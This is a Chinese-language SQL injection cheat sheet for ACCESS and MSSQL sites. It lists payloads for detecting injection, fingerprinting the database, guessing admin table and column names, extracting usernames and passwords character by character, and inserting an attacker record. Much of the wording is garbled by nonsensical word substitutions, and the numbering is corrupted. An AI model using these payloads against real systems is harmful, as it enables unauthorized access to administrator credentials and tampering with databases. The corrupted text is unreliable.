SQL注入指令

1、类型:

   数字型:and 1=1 and 1=2 断定是还是不是留存注入

   字符型:’ and ‘1’=’1 ‘ and ‘1’=’2

ACCESS,   搜索型: 关键字%’ and 1=1 and ‘%’=’% 关键字%’ and 1=2 and ‘%’=’%

 

② 、IIS报错情状下使用:

   and user>0 (判断是ACCESS还是MSSQL)

 

③ 、不报错则使用分别数据库天性来判定

   and (select count(*) from msysobjects)>0 (重回权限不足access数据库)

   and (select count(*) from sysobjects)>0 (重返符合规律则为MSSQL数据库)

   and db_name()>0 (重回数据库名)

   and 0<>(select @@version)– (判断版本音信)

   and db_name()>0 (再次回到数据库名)

************在意:猜解在此之前先要找到后台地址,不然白忙了**********

 

4、ACCESS注入:

(1)猜化痰名(平常则存在admin,不健康则不设有)

   and exists (select * from [admin])

   and (Select Count(*) from Admin)>0

(2)猜解字段:(字段username存在则平常,不正规则不存在)

   and (Select username from Admin)>0

   and exists (select username from [admin])

(3)猜解用户名和密码长度

   and (select top 1 len(username) from Admin)>0

   and (select top 1 len(password) from Admin)>0

 

⑤ 、  原理:借使top 1的username长度大于0,则条件建立;接着就是>壹 、>② 、>3这样测试下去,一向到基准不树立截止,比如>4白手起家,>5不树立,便是len(username)=5,即用户名长度为5.取得username的尺寸后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))获得ASCII码.

 

陆 、猜解用户

   and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2…,

   当输入到109时,呈现错误,而108以前体现正确,表达首个字符的ASCII码为109,得到第3个字符是m。

   同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2…

   到114的时候不树立,表达第③个字符的ASCII码值为114,字符为r。

   注意的是英文和数字的ASCII码在1-128之间…

 

7、MSSQL注入:

   having 1=1– 【爆出叁个表名及字段,如:列 ‘users.ID’ 在采用列表中没用】

   group by users.ID having 1=1–

   group by users.ID, users.username, users.password, users.privs having 1=1–

   insert into users values( 666, attacker, foobar, 0xffff )– 【插入新记录】

 

捌 、猜宁心名:

   SQL SE汉兰达VEXC90的每1个数据库都会有用户表和系统表,在系统表sysobjects中, 数据库内成立的种种对象(约束、暗许值、日志、规则、存款和储蓄进程等)在sysobjects表中占一行,那么也正是说当前数据库的表名都会在该表内有存在。我们常用到的参数有三个,name (数据表的名字),xtype( 数据表的连串 u为用户表),id( 数据表的对象标志)。

and (select top 1 name from sysobjects where xtype=’u’)>0 (获得第①个表名:比如user)

and (select top 1 name from sysobjects where xtype=’u’ and name not in (‘user’))>0 获得第3个表名,前边的以此类推。

 

九 、猜解列名:

用到系统自带的二个函数col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )参数table_id是表的标识号,column_id是列的标识号,object_id(admin)正是获取admin在sysobjects 中的标识号,column_id=1,2,3表明admin的第1,2,3列。

and (select top 1 col_name(object_id(‘admin’),1) from sysobjects)>0 【获得admin字段的第几个列名“username”依次类推,获得“password”“id”等等】

 

⑩ 、猜解字段内容:

    and (select top 1 username from [admin])>0 【直接获取用户名】

    and (select top 1 password from [admin])>0 【直接获得密码】

    UNION联合查询:

    select name,password,id from user union select user,pwd,uid from 表名

and 1=1 union select 1,2,3,4,5… from 表名 (数值从1发端逐步加,如若加到六遍来符合规律,那就存在五个字段)

 

1一 、ASCII逐字解码法:

 

(1)猜解列长度

 

and (select top 1 len(列名)from 表名)>N

里面N是数字,变换那一个N的值猜解列长度,当N为6毋庸置疑,为7谬误,则长度为7

猜解第③条记下就该选择:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)

 

(2)猜解用户和密码

 

ASC()函数和Mid函数,ASC(mid(列名,N,1))得到“列名”第N位字符ASCII码

猜解语句为:and (select top 1 asc(mid(字段,1,1)) from 数据库名)>ASCII码

区间判断语句:….between……and……

普通话处理法:当ASCII转换后为“负数”使用abs()函数取相对值。

例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码

 

(3)ASCII逐字解码法的利用:

     壹 、猜开胃名:and (select count(*) from admin)<>0

     ② 、猜解列名:and (select count(列名) from 表名)<>0

     叁 、猜解用户个数:and (select count(*) from 表名)>1,2.. 2正常,3错误,表中有3条记录。

     ④ 、猜解用户名的长短:and (select len(列名) from 表名)>=一 、>=贰 、>=三 、>=4。

     ⑤ 、猜解用户名:and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0

     最终交给:and (select asc(mid(列名,1,1)) from 表名)=ascii的值

     六 、猜解管理员的密码:

     根据上边的规律,把地方的话语中(asc(mid(列名,1,1)的列名换成PASSWO奥迪Q7D就能获得密码了。

相关文章